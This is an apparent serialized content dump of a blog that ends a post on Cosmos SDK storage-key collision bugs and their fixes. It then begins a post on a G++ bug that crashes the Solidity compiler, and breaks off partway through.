{"style":4309},[90041],{"type":27,"value":77742},{"type":22,"tag":264,"props":90043,"children":90044},{"style":1549},[90045],{"type":27,"value":90046}," hex",{"type":22,"tag":264,"props":90048,"children":90049},{"style":1539},[90050],{"type":27,"value":210},{"type":22,"tag":264,"props":90052,"children":90053},{"style":4401},[90054],{"type":27,"value":90055},"Decode",{"type":22,"tag":264,"props":90057,"children":90058},{"style":1539},[90059],{"type":27,"value":2660},{"type":22,"tag":264,"props":90061,"children":90062},{"style":1549},[90063],{"type":27,"value":86796},{"type":22,"tag":264,"props":90065,"children":90066},{"style":1539},[90067],{"type":27,"value":4380},{"type":22,"tag":264,"props":90069,"children":90070},{"style":1549},[90071],{"type":27,"value":90009},{"type":22,"tag":264,"props":90073,"children":90074},{"style":1539},[90075],{"type":27,"value":5045},{"type":22,"tag":264,"props":90077,"children":90078},{"style":4344},[90079],{"type":27,"value":5334},{"type":22,"tag":264,"props":90081,"children":90082},{"style":1539},[90083],{"type":27,"value":56762},{"type":22,"tag":264,"props":90085,"children":90086},{"class":1534,"line":1686},[90087,90091,90095,90099,90103],{"type":22,"tag":264,"props":90088,"children":90089},{"style":4328},[90090],{"type":27,"value":4575},{"type":22,"tag":264,"props":90092,"children":90093},{"style":1549},[90094],{"type":27,"value":49841},{"type":22,"tag":264,"props":90096,"children":90097},{"style":4309},[90098],{"type":27,"value":65709},{"type":22,"tag":264,"props":90100,"children":90101},{"style":4293},[90102],{"type":27,"value":83244},{"type":22,"tag":264,"props":90104,"children":90105},{"style":1539},[90106],{"type":27,"value":4594},{"type":22,"tag":264,"props":90108,"children":90109},{"class":1534,"line":4948},[90110,90114,90118,90122],{"type":22,"tag":264,"props":90111,"children":90112},{"style":4328},[90113],{"type":27,"value":80402},{"type":22,"tag":264,"props":90115,"children":90116},{"style":4293},[90117],{"type":27,"value":83244},{"type":22,"tag":264,"props":90119,"children":90120},{"style":1539},[90121],{"type":27,"value":4380},{"type":22,"tag":264,"props":90123,"children":90124},{"style":1549},[90125],{"type":27,"value":84964},{"type":22,"tag":264,"props":90127,"children":90128},{"class":1534,"line":4957},[90129],{"type":22,"tag":264,"props":90130,"children":90131},{"style":1539},[90132],{"type":27,"value":4651},{"type":22,"tag":264,"props":90134,"children":90135},{"class":1534,"line":4980},[90136],{"type":22,"tag":264,"props":90137,"children":90138},{"emptyLinePlaceholder":17},[90139],{"type":27,"value":4986},{"type":22,"tag":264,"props":90141,"children":90142},{"class":1534,"line":4989},[90143,90148,90152,90156,90160,90164,90168,90172,90176,90180,90184,90188,90192,90196],{"type":22,"tag":264,"props":90144,"children":90145},{"style":1549},[90146],{"type":27,"value":90147},"        positionName",{"type":22,"tag":264,"props":90149,"children":90150},{"style":4309},[90151],{"type":27,"value":77742},{"type":22,"tag":264,"props":90153,"children":90154},{"style":4401},[90155],{"type":27,"value":86889},{"type":22,"tag":264,"props":90157,"children":90158},{"style":1539},[90159],{"type":27,"value":89979},{"type":22,"tag":264,"props":90161,"children":90162},{"style":4722},[90163],{"type":27,"value":86090},{"type":22,"tag":264,"props":90165,"children":90166},{"style":1539},[90167],{"type":27,"value":4380},{"type":22,"tag":264,"props":90169,"children":90170},{"style":1549},[90171],{"type":27,"value":86962},{"type":22,"tag":264,"props":90173,"children":90174},{"style":1539},[90175],{"type":27,"value":210},{"type":22,"tag":264,"props":90177,"children":90178},{"style":4401},[90179],{"type":27,"value":90000},{"type":22,"tag":264,"props":90181,"children":90182},{"style":1539},[90183],{"type":27,"value":2660},{"type":22,"tag":264,"props":90185,"children":90186},{"style":1549},[90187],{"type":27,"value":90009},{"type":22,"tag":264,"props":90189,"children":90190},{"style":1539},[90191],{"type":27,"value":5045},{"type":22,"tag":264,"props":90193,"children":90194},{"style":4344},[90195],{"type":27,"value":602},{"type":22,"tag":264,"props":90197,"children":90198},{"style":1539},[90199],{"type":27,"value":90022},{"type":22,"tag":264,"props":90201,"children":90202},{"class":1534,"line":4998},[90203,90207,90211,90215,90219,90223,90227,90231,90235,90239,90243,90247,90251,90255],{"type":22,"tag":264,"props":90204,"children":90205},{"style":1549},[90206],{"type":27,"value":29060},{"type":22,"tag":264,"props":90208,"children":90209},{"style":1539},[90210],{"type":27,"value":4380},{"type":22,"tag":264,"props":90212,"children":90213},{"style":1549},[90214],{"type":27,"value":49740},{"type":22,"tag":264,"props":90216,"children":90217},{"style":4309},[90218],{"type":27,"value":77742},{"type":22,"tag":264,"props":90220,"children":90221},{"style":1549},[90222],{"type":27,"value":90046},{"type":22,"tag":264,"props":90224,"children":90225},{"style":1539},[90226],{"type":27,"value":210},{"type":22,"tag":264,"props":90228,"children":90229},{"style":4401},[90230],{"type":27,"value":90055},{"type":22,"tag":264,"props":90232,"children":90233},{"style":1539},[90234],{"type":27,"value":2660},{"type":22,"tag":264,"props":90236,"children":90237},{"style":1549},[90238],{"type":27,"value":87065},{"type":22,"tag":264,"props":90240,"children":90241},{"style":1539},[90242],{"type":27,"value":4380},{"type":22,"tag":264,"props":90244,"children":90245},{"style":1549},[90246],{"type":27,"value":90009},{"type":22,"tag":264,"props":90248,"children":90249},{"style":1539},[90250],{"type":27,"value":5045},{"type":22,"tag":264,"props":90252,"children":90253},{"style":4344},[90254],{"type":27,"value":602},{"type":22,"tag":264,"props":90256,"children":90257},{"style":1539},[90258],{"type":27,"value":56762},{"type":22,"tag":264,"props":90260,"children":90261},{"class":1534,"line":5067},[90262,90266,90270,90274,90278],{"type":22,"tag":264,"props":90263,"children":90264},{"style":4328},[90265],{"type":27,"value":4575},{"type":22,"tag":264,"props":90267,"children":90268},{"style":1549},[90269],{"type":27,"value":49841},{"type":22,"tag":264,"props":90271,"children":90272},{"style":4309},[90273],{"type":27,"value":65709},{"type":22,"tag":264,"props":90275,"children":90276},{"style":4293},[90277],{"type":27,"value":83244},{"type":22,"tag":264,"props":90279,"children":90280},{"style":1539},[90281],{"type":27,"value":4594},{"type":22,"tag":264,"props":90283,"children":90284},{"class":1534,"line":5075},[90285,90289,90293,90297],{"type":22,"tag":264,"props":90286,"children":90287},{"style":4328},[90288],{"type":27,"value":80402},{"type":22,"tag":264,"props":90290,"children":90291},{"style":4293},[90292],{"type":27,"value":83244},{"type":22,"tag":264,"props":90294,"children":90295},{"style":1539},[90296],{"type":27,"value":4380},{"type":22,"tag":264,"props":90298,"children":90299},{"style":1549},[90300],{"type":27,"value":84964},{"type":22,"tag":264,"props":90302,"children":90303},{"class":1534,"line":5105},[90304],{"type":22,"tag":264,"props":90305,"children":90306},{"style":1539},[90307],{"type":27,"value":4651},{"type":22,"tag":264,"props":90309,"children":90310},{"class":1534,"line":5113},[90311],{"type":22,"tag":264,"props":90312,"children":90313},{"emptyLinePlaceholder":17},[90314],{"type":27,"value":4986},{"type":22,"tag":264,"props":90316,"children":90317},{"class":1534,"line":5145},[90318,90322,90326,90330,90334,90338,90343,90347,90351,90356,90360,90364],{"type":22,"tag":264,"props":90319,"children":90320},{"style":4328},[90321],{"type":27,"value":4575},{"type":22,"tag":264,"props":90323,"children":90324},{"style":1549},[90325],{"type":27,"value":63964},{"type":22,"tag":264,"props":90327,"children":90328},{"style":1539},[90329],{"type":27,"value":4380},{"type":22,"tag":264,"props":90331,"children":90332},{"style":1549},[90333],{"type":27,"value":80093},{"type":22,"tag":264,"props":90335,"children":90336},{"style":4309},[90337],{"type":27,"value":77742},{"type":22,"tag":264,"props":90339,"children":90340},{"style":1549},[90341],{"type":27,"value":90342}," values",{"type":22,"tag":264,"props":90344,"children":90345},{"style":1539},[90346],{"type":27,"value":5045},{"type":22,"tag":264,"props":90348,"children":90349},{"style":1549},[90350],{"type":27,"value":86796},{"type":22,"tag":264,"props":90352,"children":90353},{"style":1539},[90354],{"type":27,"value":90355},"]; ",{"type":22,"tag":264,"props":90357,"children":90358},{"style":4309},[90359],{"type":27,"value":21928},{"type":22,"tag":264,"props":90361,"children":90362},{"style":1549},[90363],{"type":27,"value":80093},{"type":22,"tag":264,"props":90365,"children":90366},{"style":1539},[90367],{"type":27,"value":4594},{"type":22,"tag":264,"props":90369,"children":90370},{"class":1534,"line":5153},[90371,90376,90380,90384,90388,90392,90396,90400,90404,90408,90412],{"type":22,"tag":264,"props":90372,"children":90373},{"style":1549},[90374],{"type":27,"value":90375},"            values",{"type":22,"tag":264,"props":90377,"children":90378},{"style":1539},[90379],{"type":27,"value":5045},{"type":22,"tag":264,"props":90381,"children":90382},{"style":1549},[90383],{"type":27,"value":86796},{"type":22,"tag":264,"props":90385,"children":90386},{"style":1539},[90387],{"type":27,"value":9956},{"type":22,"tag":264,"props":90389,"children":90390},{"style":4309},[90391],{"type":27,"value":429},{"type":22,"tag":264,"props":90393,"children":90394},{"style":4401},[90395],{"type":27,"value":86889},{"type":22,"tag":264,"props":90397,"children":90398},{"style":1539},[90399],{"type":27,"value":2660},{"type":22,"tag":264,"props":90401,"children":90402},{"style":4293},[90403],{"type":27,"value":68425},{"type":22,"tag":264,"props":90405,"children":90406},{"style":1539},[90407],{"type":27,"value":5045},{"type":22,"tag":264,"props":90409,"children":90410},{"style":4722},[90411],{"type":27,"value":86494},{"type":22,"tag":264,"props":90413,"children":90414},{"style":1539},[90415],{"type":27,"value":56762},{"type":22,"tag":264,"props":90417,"children":90418},{"class":1534,"line":5213},[90419],{"type":22,"tag":264,"props":90420,"children":90421},{"style":1539},[90422],{"type":27,"value":4651},{"type":22,"tag":264,"props":90424,"children":90425},{"class":1534,"line":10343},[90426],{"type":22,"tag":264,"props":90427,"children":90428},{"emptyLinePlaceholder":17},[90429],{"type":27,"value":4986},{"type":22,"tag":264,"props":90431,"children":90432},{"class":1534,"line":10361},[90433,90438,90442,90446,90450,90454,90458,90462,90466],{"type":22,"tag":264,"props":90434,"children":90435},{"style":1549},[90436],{"type":27,"value":90437},"        values",{"type":22,"tag":264,"props":90439,"children":90440},{"style":1539},[90441],{"type":27,"value":5045},{"type":22,"tag":264,"props":90443,"children":90444},{"style":1549},[90445],{"type":27,"value":86796},{"type":22,"tag":264,"props":90447,"children":90448},{"style":1539},[90449],{"type":27,"value":50278},{"type":22,"tag":264,"props":90451,"children":90452},{"style":1549},[90453],{"type":27,"value":87065},{"type":22,"tag":264,"props":90455,"children":90456},{"style":1539},[90457],{"type":27,"value":9956},{"type":22,"tag":264,"props":90459,"children":90460},{"style":4309},[90461],{"type":27,"value":429},{"type":22,"tag":264,"props":90463,"children":90464},{"style":1549},[90465],{"type":27,"value":8718},{"type":22,"tag":264,"props":90467,"children":90468},{"style":1539},[90469],{"type":27,"value":4594},{"type":22,"tag":264,"props":90471,"children":90472},{"class":1534,"line":10406},[90473,90477,90481,90486,90490,90494],{"type":22,"tag":264,"props":90474,"children":90475},{"style":1549},[90476],{"type":27,"value":28263},{"type":22,"tag":264,"props":90478,"children":90479},{"style":1539},[90480],{"type":27,"value":1594},{"type":22,"tag":264,"props":90482,"children":90483},{"style":1549},[90484],{"type":27,"value":90485},"iterator",{"type":22,"tag":264,"props":90487,"children":90488},{"style":1539},[90489],{"type":27,"value":210},{"type":22,"tag":264,"props":90491,"children":90492},{"style":4401},[90493],{"type":27,"value":56},{"type":22,"tag":264,"props":90495,"children":90496},{"style":1539},[90497],{"type":27,"value":4795},{"type":22,"tag":264,"props":90499,"children":90500},{"class":1534,"line":10512},[90501],{"type":22,"tag":264,"props":90502,"children":90503},{"style":1539},[90504],{"type":27,"value":4651},{"type":22,"tag":264,"props":90506,"children":90507},{"class":1534,"line":24810},[90508],{"type":22,"tag":264,"props":90509,"children":90510},{"style":1539},[90511],{"type":27,"value":1674},{"type":22,"tag":264,"props":90513,"children":90514},{"class":1534,"line":24845},[90515,90519],{"type":22,"tag":264,"props":90516,"children":90517},{"style":4328},[90518],{"type":27,"value":18291},{"type":22,"tag":264,"props":90520,"children":90521},{"style":1549},[90522],{"type":27,"value":90523}," values\n",{"type":22,"tag":264,"props":90525,"children":90526},{"class":1534,"line":24853},[90527],{"type":22,"tag":264,"props":90528,"children":90529},{"style":1539},[90530],{"type":27,"value":1692},{"type":22,"tag":23,"props":90532,"children":90533},{},[90534,90536,90542,90543,90549,90551,90556,90558,90563,90565,90570,90572,90577,90579,90585],{"type":27,"value":90535},"By now, you may have already noticed that this implementation suffers from field malleability issues. Imagine a scenario where both ",{"type":22,"tag":257,"props":90537,"children":90539},{"className":90538},[],[90540],{"type":27,"value":90541},"vaultId = 1",{"type":27,"value":12290},{"type":22,"tag":257,"props":90544,"children":90546},{"className":90545},[],[90547],{"type":27,"value":90548},"vaultId = 10",{"type":27,"value":90550}," coexist. If we try to fetch data under ",{"type":22,"tag":257,"props":90552,"children":90554},{"className":90553},[],[90555],{"type":27,"value":90541},{"type":27,"value":90557},", all entries under ",{"type":22,"tag":257,"props":90559,"children":90561},{"className":90560},[],[90562],{"type":27,"value":90548},{"type":27,"value":90564}," will also be returned simply because ",{"type":22,"tag":257,"props":90566,"children":90568},{"className":90567},[],[90569],{"type":27,"value":602},{"type":27,"value":90571}," is a prefix of ",{"type":22,"tag":257,"props":90573,"children":90575},{"className":90574},[],[90576],{"type":27,"value":346},{"type":27,"value":90578},". To fix this, we must once again append the ",{"type":22,"tag":257,"props":90580,"children":90582},{"className":90581},[],[90583],{"type":27,"value":90584},"Separator",{"type":27,"value":90586}," to the iterator prefix.",{"type":22,"tag":618,"props":90588,"children":90590},{"code":90589,"language":77490,"meta":7,"className":77491,"style":7},"i := sdk.KVStorePrefixIterator(\n    kvStore,\n    fmt.Sprintf(\"%s%d%s\", PositionMapPrefix, vaultId, Seperator),\n)\n",[90591],{"type":22,"tag":257,"props":90592,"children":90593},{"__ignoreMap":7},[90594,90621,90633,90686],{"type":22,"tag":264,"props":90595,"children":90596},{"class":1534,"line":1535},[90597,90601,90605,90609,90613,90617],{"type":22,"tag":264,"props":90598,"children":90599},{"style":1549},[90600],{"type":27,"value":5050},{"type":22,"tag":264,"props":90602,"children":90603},{"style":4309},[90604],{"type":27,"value":77742},{"type":22,"tag":264,"props":90606,"children":90607},{"style":1549},[90608],{"type":27,"value":79967},{"type":22,"tag":264,"props":90610,"children":90611},{"style":1539},[90612],{"type":27,"value":210},{"type":22,"tag":264,"props":90614,"children":90615},{"style":4401},[90616],{"type":27,"value":89781},{"type":22,"tag":264,"props":90618,"children":90619},{"style":1539},[90620],{"type":27,"value":4767},{"type":22,"tag":264,"props":90622,"children":90623},{"class":1534,"line":1545},[90624,90629],{"type":22,"tag":264,"props":90625,"children":90626},{"style":1549},[90627],{"type":27,"value":90628},"    kvStore",{"type":22,"tag":264,"props":90630,"children":90631},{"style":1539},[90632],{"type":27,"value":4812},{"type":22,"tag":264,"props":90634,"children":90635},{"class":1534,"line":1560},[90636,90641,90645,90649,90653,90658,90662,90666,90670,90674,90678,90682],{"type":22,"tag":264,"props":90637,"children":90638},{"style":1549},[90639],{"type":27,"value":90640},"    fmt",{"type":22,"tag":264,"props":90642,"children":90643},{"style":1539},[90644],{"type":27,"value":210},{"type":22,"tag":264,"props":90646,"children":90647},{"style":4401},[90648],{"type":27,"value":86548},{"type":22,"tag":264,"props":90650,"children":90651},{"style":1539},[90652],{"type":27,"value":2660},{"type":22,"tag":264,"props":90654,"children":90655},{"style":1597},[90656],{"type":27,"value":90657},"\"%s%d%s\"",{"type":22,"tag":264,"props":90659,"children":90660},{"style":1539},[90661],{"type":27,"value":4380},{"type":22,"tag":264,"props":90663,"children":90664},{"style":1549},[90665],{"type":27,"value":89831},{"type":22,"tag":264,"props":90667,"children":90668},{"style":1539},[90669],{"type":27,"value":4380},{"type":22,"tag":264,"props":90671,"children":90672},{"style":1549},[90673],{"type":27,"value":89616},{"type":22,"tag":264,"props":90675,"children":90676},{"style":1539},[90677],{"type":27,"value":4380},{"type":22,"tag":264,"props":90679,"children":90680},{"style":1549},[90681],{"type":27,"value":89947},{"type":22,"tag":264,"props":90683,"children":90684},{"style":1539},[90685],{"type":27,"value":8029},{"type":22,"tag":264,"props":90687,"children":90688},{"class":1534,"line":1569},[90689],{"type":22,"tag":264,"props":90690,"children":90691},{"style":1539},[90692],{"type":27,"value":4463},{"type":22,"tag":23,"props":90694,"children":90695},{},[90696,90698,90703],{"type":27,"value":90697},"At first, identifying these serialization issues may seem easy. Once data structures and ",{"type":22,"tag":257,"props":90699,"children":90701},{"className":90700},[],[90702],{"type":27,"value":86302},{"type":27,"value":90704}," usage grow increasingly more complex, developers can unintentionally overlook storage key parsing mistakes.",{"type":22,"tag":23,"props":90706,"children":90707},{},[90708],{"type":27,"value":90709},"Storage keys continue to be a tedious and persistent issue when building on Cosmos. It is crucial to approach development with awareness and care to prevent bugs from creeping into code.",{"type":22,"tag":181,"props":90711,"children":90713},{"id":90712},"real-world-examples-5",[90714],{"type":27,"value":78015},{"type":22,"tag":23,"props":90716,"children":90717},{},[90718,90719,90724,90726,90733,90735,90741],{"type":27,"value":17914},{"type":22,"tag":257,"props":90720,"children":90722},{"className":90721},[],[90723],{"type":27,"value":79788},{"type":27,"value":90725}," previously lacked protection against KVStore ",{"type":22,"tag":69,"props":90727,"children":90730},{"href":90728,"rel":90729},"https://github.com/cosmos/cosmos-sdk/pull/9363",[73],[90731],{"type":27,"value":90732},"key collisions",{"type":27,"value":90734},". This prior oversight allowed developers to unintentionally create two ",{"type":22,"tag":257,"props":90736,"children":90738},{"className":90737},[],[90739],{"type":27,"value":90740},"KVStores",{"type":27,"value":90742}," that were not independent of each other.",{"type":22,"tag":23,"props":90744,"children":90745},{},[90746],{"type":22,"tag":69,"props":90747,"children":90750},{"href":90748,"rel":90749},"https://github.com/cosmos/cosmos-sdk/blob/25bd118e4cc1d60ab2f9d2e0302d271416551aa9/types/store.go#L108",[73],[90751],{"type":27,"value":78065},{"type":22,"tag":618,"props":90753,"children":90755},{"code":90754,"language":77490,"meta":7,"className":77491,"style":7},"func NewKVStoreKeys(names ...string) map[string]*KVStoreKey {\n    keys := make(map[string]*KVStoreKey)\n    for _, name := range names {\n        keys[name] = NewKVStoreKey(name)\n    }\n\n    return keys\n}\n",[90756],{"type":22,"tag":257,"props":90757,"children":90758},{"__ignoreMap":7},[90759,90821,90869,90905,90945,90952,90959,90971],{"type":22,"tag":264,"props":90760,"children":90761},{"class":1534,"line":1535},[90762,90766,90771,90775,90780,90784,90788,90792,90796,90800,90804,90808,90812,90817],{"type":22,"tag":264,"props":90763,"children":90764},{"style":4293},[90765],{"type":27,"value":77626},{"type":22,"tag":264,"props":90767,"children":90768},{"style":4401},[90769],{"type":27,"value":90770}," NewKVStoreKeys",{"type":22,"tag":264,"props":90772,"children":90773},{"style":1539},[90774],{"type":27,"value":2660},{"type":22,"tag":264,"props":90776,"children":90777},{"style":1549},[90778],{"type":27,"value":90779},"names",{"type":22,"tag":264,"props":90781,"children":90782},{"style":4309},[90783],{"type":27,"value":26612},{"type":22,"tag":264,"props":90785,"children":90786},{"style":4722},[90787],{"type":27,"value":30980},{"type":22,"tag":264,"props":90789,"children":90790},{"style":1539},[90791],{"type":27,"value":4390},{"type":22,"tag":264,"props":90793,"children":90794},{"style":4293},[90795],{"type":27,"value":68425},{"type":22,"tag":264,"props":90797,"children":90798},{"style":1539},[90799],{"type":27,"value":5045},{"type":22,"tag":264,"props":90801,"children":90802},{"style":4722},[90803],{"type":27,"value":30980},{"type":22,"tag":264,"props":90805,"children":90806},{"style":1539},[90807],{"type":27,"value":16710},{"type":22,"tag":264,"props":90809,"children":90810},{"style":4309},[90811],{"type":27,"value":5865},{"type":22,"tag":264,"props":90813,"children":90814},{"style":4722},[90815],{"type":27,"value":90816},"KVStoreKey",{"type":22,"tag":264,"props":90818,"children":90819},{"style":1539},[90820],{"type":27,"value":4594},{"type":22,"tag":264,"props":90822,"children":90823},{"class":1534,"line":1545},[90824,90829,90833,90837,90841,90845,90849,90853,90857,90861,90865],{"type":22,"tag":264,"props":90825,"children":90826},{"style":1549},[90827],{"type":27,"value":90828},"    keys",{"type":22,"tag":264,"props":90830,"children":90831},{"style":4309},[90832],{"type":27,"value":77742},{"type":22,"tag":264,"props":90834,"children":90835},{"style":4401},[90836],{"type":27,"value":86889},{"type":22,"tag":264,"props":90838,"children":90839},{"style":1539},[90840],{"type":27,"value":2660},{"type":22,"tag":264,"props":90842,"children":90843},{"style":4293},[90844],{"type":27,"value":68425},{"type":22,"tag":264,"props":90846,"children":90847},{"style":1539},[90848],{"type":27,"value":5045},{"type":22,"tag":264,"props":90850,"children":90851},{"style":4722},[90852],{"type":27,"value":30980},{"type":22,"tag":264,"props":90854,"children":90855},{"style":1539},[90856],{"type":27,"value":16710},{"type":22,"tag":264,"props":90858,"children":90859},{"style":4309},[90860],{"type":27,"value":5865},{"type":22,"tag":264,"props":90862,"children":90863},{"style":4722},[90864],{"type":27,"value":90816},{"type":22,"tag":264,"props":90866,"children":90867},{"style":1539},[90868],{"type":27,"value":4463},{"type":22,"tag":264,"props":90870,"children":90871},{"class":1534,"line":1560},[90872,90876,90880,90884,90888,90892,90896,90901],{"type":22,"tag":264,"props":90873,"children":90874},{"style":4328},[90875],{"type":27,"value":4331},{"type":22,"tag":264,"props":90877,"children":90878},{"style":1549},[90879],{"type":27,"value":4336},{"type":22,"tag":264,"props":90881,"children":90882},{"style":1539},[90883],{"type":27,"value":4380},{"type":22,"tag":264,"props":90885,"children":90886},{"style":1549},[90887],{"type":27,"value":49818},{"type":22,"tag":264,"props":90889,"children":90890},{"style":4309},[90891],{"type":27,"value":77742},{"type":22,"tag":264,"props":90893,"children":90894},{"style":4328},[90895],{"type":27,"value":78725},{"type":22,"tag":264,"props":90897,"children":90898},{"style":1549},[90899],{"type":27,"value":90900}," names",{"type":22,"tag":264,"props":90902,"children":90903},{"style":1539},[90904],{"type":27,"value":4594},{"type":22,"tag":264,"props":90906,"children":90907},{"class":1534,"line":1569},[90908,90912,90916,90920,90924,90928,90933,90937,90941],{"type":22,"tag":264,"props":90909,"children":90910},{"style":1549},[90911],{"type":27,"value":26644},{"type":22,"tag":264,"props":90913,"children":90914},{"style":1539},[90915],{"type":27,"value":5045},{"type":22,"tag":264,"props":90917,"children":90918},{"style":1549},[90919],{"type":27,"value":49818},{"type":22,"tag":264,"props":90921,"children":90922},{"style":1539},[90923],{"type":27,"value":9956},{"type":22,"tag":264,"props":90925,"children":90926},{"style":4309},[90927],{"type":27,"value":429},{"type":22,"tag":264,"props":90929,"children":90930},{"style":4401},[90931],{"type":27,"value":90932}," NewKVStoreKey",{"type":22,"tag":264,"props":90934,"children":90935},{"style":1539},[90936],{"type":27,"value":2660},{"type":22,"tag":264,"props":90938,"children":90939},{"style":1549},[90940],{"type":27,"value":49818},{"type":22,"tag":264,"props":90942,"children":90943},{"style":1539},[90944],{"type":27,"value":4463},{"type":22,"tag":264,"props":90946,"children":90947},{"class":1534,"line":1583},[90948],{"type":22,"tag":264,"props":90949,"children":90950},{"style":1539},[90951],{"type":27,"value":1674},{"type":22,"tag":264,"props":90953,"children":90954},{"class":1534,"line":1603},[90955],{"type":22,"tag":264,"props":90956,"children":90957},{"emptyLinePlaceholder":17},[90958],{"type":27,"value":4986},{"type":22,"tag":264,"props":90960,"children":90961},{"class":1534,"line":1612},[90962,90966],{"type":22,"tag":264,"props":90963,"children":90964},{"style":4328},[90965],{"type":27,"value":18291},{"type":22,"tag":264,"props":90967,"children":90968},{"style":1549},[90969],{"type":27,"value":90970}," keys\n",{"type":22,"tag":264,"props":90972,"children":90973},{"class":1534,"line":1621},[90974],{"type":22,"tag":264,"props":90975,"children":90976},{"style":1539},[90977],{"type":27,"value":1692},{"type":22,"tag":23,"props":90979,"children":90980},{},[90981,90983,90988,90990,90995,90997,91002],{"type":27,"value":90982},"Thanks to the diligence of core developers, checks are now enforced and the ",{"type":22,"tag":257,"props":90984,"children":90986},{"className":90985},[],[90987],{"type":27,"value":79788},{"type":27,"value":90989}," will refuse to run if any ",{"type":22,"tag":257,"props":90991,"children":90993},{"className":90992},[],[90994],{"type":27,"value":86302},{"type":27,"value":90996}," keys are prefix of each other. This implementation alleviates developers from having to worry about key collisions on the ",{"type":22,"tag":257,"props":90998,"children":91000},{"className":90999},[],[91001],{"type":27,"value":86302},{"type":27,"value":91003}," level.",{"type":22,"tag":23,"props":91005,"children":91006},{},[91007,91009,91016],{"type":27,"value":91008},"Additional storage key issues like subtle bugs in the Cosmos-SDK have resulted in ",{"type":22,"tag":69,"props":91010,"children":91013},{"href":91011,"rel":91012},"https://github.com/cosmos/cosmos-sdk/issues/12661",[73],[91014],{"type":27,"value":91015},"incorrect iterator behavior",{"type":27,"value":210},{"type":22,"tag":23,"props":91018,"children":91019},{},[91020,91022,91029],{"type":27,"value":91021},"Notably, gradual adoption of the ",{"type":22,"tag":69,"props":91023,"children":91026},{"href":91024,"rel":91025},"https://github.com/cosmos/cosmos-sdk/tree/def657dafa615cb8e8bb072452663893157e073a/collections",[73],[91027],{"type":27,"value":91028},"collections",{"type":27,"value":91030}," storage helpers since Cosmos v0.50 has made it a lot more difficult to write buggy code. This demonstrates the importance of keeping up to date with the latest SDK development to leverage architectural security improvements.",{"type":22,"tag":169,"props":91032,"children":91033},{"id":30246},[91034],{"type":27,"value":20252},{"type":22,"tag":23,"props":91036,"children":91037},{},[91038],{"type":27,"value":91039},"The Cosmos SDK is a powerful tool for those who want to create custom blockchains. However, this flexibility brings about great responsibility. Developers must pay close attention to nuances, as these can expose a large number of potential attack surfaces.",{"type":22,"tag":23,"props":91041,"children":91042},{},[91043],{"type":27,"value":91044},"To recap, we discussed some of the more basic parts of Cosmos-SDK, showcasing common mistakes developers tend to make. Yet, it is important to note that we've only covered the tip of the iceberg. Other attack surfaces, such as authentications in relation to the IBC interface, are fundamentals absolutely worth looking into.",{"type":22,"tag":4139,"props":91046,"children":91047},{},[91048],{"type":27,"value":4143},{"title":7,"searchDepth":1545,"depth":1545,"links":91050},[91051,91052,91055,91058,91061,91064,91067,91070],{"id":30329,"depth":1545,"text":30332},{"id":77207,"depth":1545,"text":77210,"children":91053},[91054],{"id":78012,"depth":1560,"text":78015},{"id":78608,"depth":1545,"text":78611,"children":91056},[91057],{"id":79257,"depth":1560,"text":78015},{"id":79754,"depth":1545,"text":79757,"children":91059},[91060],{"id":81054,"depth":1560,"text":78015},{"id":82398,"depth":1545,"text":82401,"children":91062},[91063],{"id":82936,"depth":1560,"text":78015},{"id":84454,"depth":1545,"text":84457,"children":91065},[91066],{"id":85334,"depth":1560,"text":78015},{"id":86288,"depth":1545,"text":86291,"children":91068},[91069],{"id":90712,"depth":1560,"text":78015},{"id":30246,"depth":1545,"text":20252},"content:blog:2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security",{"_path":91075,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":91076,"description":91077,"author":91078,"image":91079,"date":91081,"tags":91082,"isFeatured":17,"onBlogPage":17,"body":91083,"_type":4157,"_id":93792,"_source":4159,"_file":93793,"_stem":93794,"_extension":4162},"/blog/2025-08-11-compiler-bug-causes-compiler-bug","Compiler Bug Causes Compiler Bug: How a 12-Year-Old G++ Bug Took Down Solidity","A subtle G++ bug from 2012, C++20's new comparison rules, and legacy Boost code can collide to crash Solidity's compiler on valid code. We unpack the surprising chain reaction and how to fix it.","kiprey",{"src":91080,"height":14922,"width":14922},"/posts/compiler-bug-causes-compiler-bug/title.png","2025-08-11",[5767,30324],{"type":19,"children":91084,"toc":93776},[91085,91090,91227,91232,91237,91242,91247,91360,91365,91370,91375,91415,91428,91433,91451,91456,91459,91465,91479,91492,91497,91510,91515,91527,91540,91545,91548,91554,91560,91617,91622,91628,91642,91677,91685,91693,91713,91719,91724,92164,92172,92216,92221,92229,92237,92276,92281,92289,92294,92297,92303,92309,92334,92346,92373,92406,92411,92414,92420,92439,92957,92970,92988,93011,93022,93027,93130,93135,93140,93154,93159,93235,93253,93258,93261,93267,93279,93291,93631,93636,93654,93659,93662,93668,93673,93691,93711,93714,93720,93739,93742,93746,93751,93762,93767,93772],{"type":22,"tag":23,"props":91086,"children":91087},{},[91088],{"type":27,"value":91089},"Compilers aren't supposed to crash — especially not when compiling perfectly valid code like this:",{"type":22,"tag":618,"props":91091,"children":91093},{"code":91092,"language":5767,"meta":7,"className":5768,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure returns (uint256) {\n        return 1 ** 2;\n    }\n}\n",[91094],{"type":22,"tag":257,"props":91095,"children":91096},{"__ignoreMap":7},[91097,91105,91123,91130,91147,91189,91213,91220],{"type":22,"tag":264,"props":91098,"children":91099},{"class":1534,"line":1535},[91100],{"type":22,"tag":264,"props":91101,"children":91102},{"style":4284},[91103],{"type":27,"value":91104},"// SPDX-License-Identifier: UNLICENSED\n",{"type":22,"tag":264,"props":91106,"children":91107},{"class":1534,"line":1545},[91108,91113,91118],{"type":22,"tag":264,"props":91109,"children":91110},{"style":4328},[91111],{"type":27,"value":91112},"pragma",{"type":22,"tag":264,"props":91114,"children":91115},{"style":4293},[91116],{"type":27,"value":91117}," solidity",{"type":22,"tag":264,"props":91119,"children":91120},{"style":1539},[91121],{"type":27,"value":91122}," ^0.8.25;\n",{"type":22,"tag":264,"props":91124,"children":91125},{"class":1534,"line":1560},[91126],{"type":22,"tag":264,"props":91127,"children":91128},{"emptyLinePlaceholder":17},[91129],{"type":27,"value":4986},{"type":22,"tag":264,"props":91131,"children":91132},{"class":1534,"line":1569},[91133,91138,91143],{"type":22,"tag":264,"props":91134,"children":91135},{"style":4293},[91136],{"type":27,"value":91137},"contract",{"type":22,"tag":264,"props":91139,"children":91140},{"style":4722},[91141],{"type":27,"value":91142}," 